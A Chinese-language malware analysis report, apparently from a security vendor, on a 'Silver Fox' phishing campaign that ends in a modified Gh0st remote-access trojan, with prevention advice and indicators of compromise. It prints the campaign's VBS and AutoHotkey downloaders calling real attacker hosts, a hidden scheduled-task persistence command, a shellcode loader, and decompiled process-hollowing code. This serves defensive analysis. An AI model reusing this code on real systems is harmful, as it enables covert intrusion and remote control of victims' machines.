概述
近日瑞星威胁情报平台
捕获到一起银狐
木马的攻击事件,发现该木马最近再次更新了攻击手法,故此针对此次捕获的样本进行分析说明。银狐
木马主要通过钓鱼网页、即时通讯软件、通过竞价排名伪装常用软件诱导下载等方式进行传播,主要针对企事业单位的财务、会计、销售等职工以获取非法利益,其攻击手法比较多变而且更新频繁一切目的只为加载最终载荷以实现对目标计算机的远程控制,以实施下一步的诈骗步骤,本次捕获样本便是我们监控到的其最新攻击活动。
事件详情
此次捕获的初始样本为一封钓鱼表格,其名称为(六月)偷-漏涉-稅-违规企业名单公示.xlsx
,点开之后的内容也具有很强的诱导性,从内容不难推断出主要针对财务、会计方向从业人员,用于欺骗点击内嵌指向www.shuiwutl2.cn
的超链接下载后续组件
攻击流程
攻击者通过投递钓鱼邮件
诱导用户点击前往钓鱼网页下载压缩包并解压运行,并对恶意asp脚本
做了一定混淆,通过其从c2拉取后续恶意AutoHotKey脚本
及运行组件,最终利用这些脚本文件布置最终的Gh0st木马
以实现对相关信息的进一步窃取,这种手法相对隐蔽且能有效诱导用户点击
运行并顺利加载最终载荷以完成攻击者的最终目的。
样本分析
下载并执行(初始载荷):Index.asp
字段 | 内容 |
---|---|
原始文件名 | Index.asp |
文件大小 | 636KB |
文件MD5 | 9C9253B0CB78EA2C5A76CAEEFDAC5960 |
文件类型 | ASP |
病毒名 | Downloader.Agent/VBS!1.FD09 |
主要功能 | 下载后续载荷并运行 |
访问钓鱼网站后会自动下载一个zip压缩包,解压后内部包含两个文件
其中重点稽查企业名单-终端 .exe
实则为重命名的NetBox
应用,运行后会加载同目录下的Index.asp
文件,该文件内嵌恶意VBS
脚本,且文件本身填充了大量空格,用于迷惑分析人员
Set fso = CreateObject("Scripting.FileSystemObject")
If Not fso.FolderExists("C:\Users\Public\Music\Update") Then
fso.CreateFolder("C:\Users\Public\Music\Update")
End If
Set fso = CreateObject("Scripting.FileSystemObject")
If Not fso.FolderExists("C:\Users\Public\Music\Update\AutoHotkey") Then
fso.CreateFolder("C:\Users\Public\Music\Update\AutoHotkey")
End If
Url = "http://xingyuqiang1688.vip/AHK.exe"
FileName = "C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.exe"
set fso = CreateObject("Scripting.FileSystemObject")
if not fso.FileExists(FileName) then
set x = CreateObject("Microsoft.XMLHTTP")
x.Open "GET", Url, False
x.Send
With CreateObject("ADODB.Stream")
.Type = 1 'Binary
.Open
.Write x.ResponseBody
.SaveToFile FileName
End With
end if
Url = "http://43.135.72.124/Run.ahk"
FileName = "C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk"
set fso = CreateObject("Scripting.FileSystemObject")
if not fso.FileExists(FileName) then
set x = CreateObject("Microsoft.XMLHTTP")
x.Open "GET", Url, False
x.Send
With CreateObject("ADODB.Stream")
.Type = 1 'Binary
.Open
.Write x.ResponseBody
.SaveToFile FileName
End With
end if
Url = "http://xingyuqiang1688.vip/1.ahk"
FileName = "C:\Users\Public\Music\Update\AutoHotkey\1.ahk"
set fso = CreateObject("Scripting.FileSystemObject")
if not fso.FileExists(FileName) then
set x = CreateObject("Microsoft.XMLHTTP")
x.Open "GET", Url, False
x.Send
With CreateObject("ADODB.Stream")
.Type = 1 'Binary
.Open
.Write x.ResponseBody
.SaveToFile FileName
End With
end if
加载的脚本主要功能为到xingyuqiang1688.vip
以及43.135.72.124
处下载后续载荷AHK.exe
、Run.ahk
、1.ahk
至C:\Users\Public\Music\Update\AutoHotkey
文件路径中,如不存在则创建该路径,并将AHK.exe
、Run.ahk
分别重命名为AutoHotkey.exe
、AutoHotkey.ahk
,最后通过创建WScript.Shell
对象运行cmd
将1.ahk
作为AutoHotkey.exe
的参数执行载荷
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd /C C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.exe C:\Users\Public\Music\Update\AutoHotkey\1.ahk", 0, True
32/64位自适应:1.ahk
字段 | 内容 |
---|---|
原始文件名 | 1.ahk |
文件大小 | 626KB |
文件MD5 | 7B7A654E99F2B96C0EE114CD49BACF9A |
文件类型 | AutoHotkey脚本 |
病毒名 | Trojan.ShellCodeLoader/AHK!1.FD0B |
主要功能 | 解密执行AutoHotkey.ahk并自删除 |
1.ahk
的主要内容为判断系统为32或64位从而使用对应的版本的shellcode
解密运行自带载荷
hex:=A_PtrSize=8 ? x64:x32
VarSetCapacity(MyFunc, len:=StrLen(hex)//2)
Loop, % len
NumPut("0x" SubStr(hex,2*A_Index-1,2),MyFunc,A_Index-1,"uchar")
DllCall("VirtualProtect","ptr",&MyFunc,"ptr",len,"uint",0x40,"ptr*",0)
base:=DllCall("GetModuleHandle", "Str","Kernel32", "ptr")
ScriptName:=ScriptName ? ScriptName : A_ScriptFullPath
}
Random, n, 1, 1000000
pipe_name:="\\.\pipe\AHK" . A_TickCount . n
cmdline="%Ahk%" "%pipe_name%" "%ScriptName%" %arg%
DllCall(&MyFunc, "AStr",cmdline, "AStr",pipe_name
, "ptr",base, "ptr",&str, "uint",size)
return, 1
在shellcode
中解密载荷后带参
创建自身进程
通过管道
写入解密
的载荷执行
在循环四次上述过程后得到最终的执行语句,作用为以管理员权限执行同目录下的AutoHotkey.ahk
后自删除,并将执行窗口隐藏
#NoTrayIcon
Run, *RunAs %comspec% /c start C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.exe C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk&del C:\Users\Public\Music\Update\AutoHotkey\1.ahk, , Hide
;
ExitApp
#SingleInstance off
持久化及进一步下载:Run.ahk
字段 | 内容 |
---|---|
原始文件名 | Run.ahk |
文件大小 | 1140KB |
文件MD5 | 49071B451329B2966769E35C7B75EDC4 |
文件类型 | AutoHotkey脚本 |
病毒名 | Trojan.ShellCodeLoader/AHK!1.FD0B |
主要功能 | 自删除、创建计划任务、下载并执行后续组件 |
AutoHotkey.ahk
执行也如上述一般循环四次解密后得到最终执行语句,作用为在创建后续所需的文件目录后自删除,并以管理员权限通过schtasks
创建名为AHK
的计划任务并设置为登录时运行,执行上述释放到C:\Users\Public\Music\Update\AutoHotkey
目录下的AutoHotkey.exe
,以执行恶意AutoHotKey
脚本文件实现权限维持。
FileCreateDir, C:\Users\Public\Music\Update\AutoHotkey
FileCreateDir, C:\Users\Public\Bandizip\langs
FileCreateDir, C:\Users\Public\Bandizip\data
FileCreateDir, C:\Users\Public\Music\python
RunWait,cmd /C del C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk, , Hide
Run, *RunAs %comspec% /c schtasks /create /sc onlogon /tn AHK /rl highest /tr "C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.exe" /F&del C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk&del C:\Users\Public\AutoHotkey\Run8.txt , , Hide
并通过xingyuqiang1688.vip
、43.135.72.124
下载一系列后续加载载荷所需组件,如py.rar
、Bandizip.exe
及其配置组件、新的AutoHotkey.ahk
等文件
url := "http://43.135.120.185/py.rar"
localFile := "C:\Users\Public\Music\python\py.rar"
UrlDownloadToFile, %url%, %localFile%
url := "http://43.135.72.124/qd.jpg"
localFile := "C:\Users\Public\Music\python\qd.jpg"
UrlDownloadToFile, %url%, %localFile%
url := "http://43.135.72.124/qd.zip"
localFile := "C:\Users\Public\Music\python\qd.zip"
UrlDownloadToFile, %url%, %localFile%
url := "http://xingyuqiang1688.vip/qd.ahk"
localFile := "C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk"
UrlDownloadToFile, %url%, %localFile%
url := "http://xingyuqiang1688.vip/data/resource.data"
localFile := "C:\Users\Public\Bandizip\data\resource.data"
UrlDownloadToFile, %url%, %localFile%
url := "http://xingyuqiang1688.vip/data/web32.exe"
localFile := "C:\Users\Public\Bandizip\data\web32.exe"
UrlDownloadToFile, %url%, %localFile%
url := "http://xingyuqiang1688.vip/langs/English.lang"
localFile := "C:\Users\Public\Bandizip\langs\English.lang"
UrlDownloadToFile, %url%, %localFile%
url := "http://xingyuqiang1688.vip/ark.x64.dll"
localFile := "C:\Users\Public\Bandizip\ark.x64.dll"
UrlDownloadToFile, %url%, %localFile%
url := "http://xingyuqiang1688.vip/Bandizip.exe"
localFile := "C:\Users\Public\Bandizip\Bandizip.exe"
UrlDownloadToFile, %url%, %localFile%
url := "http://xingyuqiang1688.vip/config.ini"
localFile := "C:\Users\Public\Bandizip\config.ini"
UrlDownloadToFile, %url%, %localFile%
下载完成后通过Bandizip
带密码Ly
解压下载的py.rar
到其同目录下,之后通过解压出的pythonw.exe
运行qd.jpg
,随后将py.zip
删除。
RunWait,C:\Users\Public\Bandizip\Bandizip.exe x -y -o:C:\Users\Public\Music\python -p:Ly C:\Users\Public\Music\python\py.rar , , Hide
randomString := ""
Lenght := rand(1,10)
Loop, %Lenght%
{
Random, char, 48, 122
If (char > 57 && char < 65) || (char > 90 && char < 97)
Continue
randomString .= Chr(char)
}
FileAppend, %randomString%, C:\Users\Public\Music\python\qd.jpg
rand(min, max) {
Random, rand, min, max
return rand
}
RunWait, %comspec% /c start C:\Users\Public\Music\python\pythonw.exe C:\Users\Public\Music\python\qd.jpg&del C:\Users\Public\Music\python\py.zip , , Hide
伪装成JPG的内存马加载器:qd.jpg
字段 | 内容 |
---|---|
原始文件名 | qd.jpg |
文件大小 | 2KB |
文件MD5 | 62B7AB7CA0AD36D43D65C7600A7834B6 |
文件类型 | Python脚本 |
主要功能 | 下载后续载荷并运行 |
Python解释器运行的qd.jpg
实则为python脚本,主要功能为解码base64编码的c2地址回连xingyuqiang1688.vip
下载43.135.72.124.bin
并加载执行
def main():
encoded_url = "http://xingyuqiang1688.vip/43.135.72.124.bin"
url = base64.b64decode(encoded_url).decode()
while True:
shellcode = download_binary_file(url)
execute_shellcode(shellcode)
if __name__ == "__main__":
main()
纯内存马:Gh0st远控
字段 | 内容 |
---|---|
原始文件名 | 43.135.72.124.bin |
文件大小 | 113KB |
文件MD5 | DF61AA6F8A269CA11044DFF61624FA4D |
主要功能 | 实现远程控制、进程注入、注册表修改等功能 |
下载的载荷内部包含一个PE文件,经分析为魔改Gh0st
远控
前段的shellcode
主要用为内存加载其内部的Gh0st
木马实现最终控制,回连服务器43.135.72.124
端口6666
其使用的最终载荷具有创建Dump文件,注册表修改、创建傀儡进程、回连C2等待指令等功能
int __thiscall sub_406390(void *this)
{
HMODULE LibraryW; // eax
HMODULE v3; // edi
HANDLE FileW; // ebx
HANDLE CurrentProcess; // eax
DWORD CurrentProcessId; // [esp-1Ch] [ebp-250h]
int v8[3]; // [esp+8h] [ebp-22Ch] BYREF
BOOL (__stdcall *MiniDumpWriteDump)(HANDLE, DWORD, HANDLE, MINIDUMP_TYPE, PMINIDUMP_EXCEPTION_INFORMATION, PMINIDUMP_USER_STREAM_INFORMATION, PMINIDUMP_CALLBACK_INFORMATION); // [esp+14h] [ebp-220h]
struct _SYSTEMTIME SystemTime; // [esp+18h] [ebp-21Ch] BYREF
WCHAR FileName[260]; // [esp+28h] [ebp-20Ch] BYREF
LibraryW = LoadLibraryW(L"DbgHelp.dll");
v3 = LibraryW;
if ( !LibraryW )
return -1;
MiniDumpWriteDump = (BOOL (__stdcall *)(HANDLE, DWORD, HANDLE, MINIDUMP_TYPE, PMINIDUMP_EXCEPTION_INFORMATION, PMINIDUMP_USER_STREAM_INFORMATION, PMINIDUMP_CALLBACK_INFORMATION))GetProcAddress(LibraryW, "MiniDumpWriteDump");
if ( !MiniDumpWriteDump )
{
FreeLibrary(v3);
return -1;
}
memset(FileName, 0, sizeof(FileName));
GetLocalTime(&SystemTime);
wsprintfW(
FileName,
L"%s-%04d%02d%02d-%02d%02d%02d.dmp",
L"!analyze -v",
SystemTime.wYear,
SystemTime.wMonth,
SystemTime.wDay,
SystemTime.wHour,
SystemTime.wMinute,
SystemTime.wSecond);
FileW = CreateFileW(FileName, 0xC0000000, 3u, 0, 2u, 0, 0);
if ( FileW == (HANDLE)-1 )
{
FreeLibrary(v3);
return -1;
}
else
{
v8[1] = (int)this;
v8[0] = GetCurrentThreadId();
v8[2] = 0;
CurrentProcessId = GetCurrentProcessId();
CurrentProcess = GetCurrentProcess();
MiniDumpWriteDump(
CurrentProcess,
CurrentProcessId,
FileW,
MiniDumpWithDataSegs,
this != 0 ? (PMINIDUMP_EXCEPTION_INFORMATION)v8 : 0,
0,
0);
CloseHandle(FileW);
FreeLibrary(v3);
return 1;
}
}
修改注册表,根据其写入内容判断应当是其后续组件读取的配置内容
if ( !RegOpenKeyExW(HKEY_CURRENT_USER, L"Console", 0, 0x20019u, &phkResult) )
RegQueryValueExW(phkResult, L"IpDate", 0, &Type, 0, &cbData);
if ( cbData > 0xA )
{
memset(a0Db0Lk0Hs0Ld0L, 0, 0x7D0u);
RegQueryValueExW(phkResult, L"IpDate", 0, &Type, (LPBYTE)a0Db0Lk0Hs0Ld0L, &cbData);
sub_405D70(L"p1:", Source, 0);
sub_405D70(L"o1:", word_41C9F4, 0);
sub_405D70(L"t1:", 0, (int)&dword_41CA30);
sub_405D70(L"p2:", word_41CA34, 0);
sub_405D70(L"o2:", word_41CC32, 0);
sub_405D70(L"t2:", 0, (int)&dword_41CC70);
sub_405D70(L"p3:", word_41CC74, 0);
sub_405D70(L"o3:", word_41CE72, 0);
sub_405D70(L"t3:", 0, (int)&dword_41CEB0);
}
通过硬编码文件路径利用tracerpt.exe
创建傀儡进程
GetSystemDirectoryA(Buffer, 0xFFu);
Buffer[3] = 0;
sub_4059F0("%s%s", Buffer, "Windows\\SysWOW64\\tracerpt.exe");
if ( GetFileAttributesA(Buffer) == -1 )
{
Buffer[3] = 0;
sub_4059F0("%s%s", Buffer, "Windows\\System32\\tracerpt.exe");
}
result = CreateProcessA(Buffer, 0, 0, 0, 0, 4u, 0, 0, &StartupInfo, a2);
if ( result )
{
v3 = VirtualAllocEx(a2->hProcess, 0, a1, 0x3000u, 0x40u);
if ( v3
&& WriteProcessMemory(a2->hProcess, v3, lpBuffer, a1, 0)
&& (hThread = a2->hThread, Context.ContextFlags = 65543, GetThreadContext(hThread, &Context))
&& (v5 = a2->hThread, Context.Eip = (DWORD)v3, SetThreadContext(v5, &Context)) )
{
ResumeThread(a2->hThread);
return 1;
}
else
{
return 0;
}
}
根据其攻击手法以及最终载荷中的相似点都可以判断其为银狐
家族的一员。
总结
银狐
木马自22年出现以来便不断活跃在我们的视线范围内,作为一个去中心化的传播的黑客工具其衍生出的各个团伙攻击手法与利用方式也在不断的变化着,本篇分析也仅是对其中一个组织的近期攻击手法详细分析,该组织的攻击方法也都是较为剑走偏锋与黑灰产圈风格非常相符,不过通常都较为有效,足以证明其背后应当有稳定的更新团队或者技术提供方。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
沦陷信标(IOC)
-
MD5
DF61AA6F8A269CA11044DFF61624FA4D 9C9253B0CB78EA2C5A76CAEEFDAC5960 7B7A654E99F2B96C0EE114CD49BACF9A 49071B451329B2966769E35C7B75EDC4 539B6E91D0A92C999311E0D826315A07 62B7AB7CA0AD36D43D65C7600A7834B6
-
Domain
xingyuqiang1688.vip shuiwutl2.cn
-
IPV4
43.135.72.124 43.135.120.185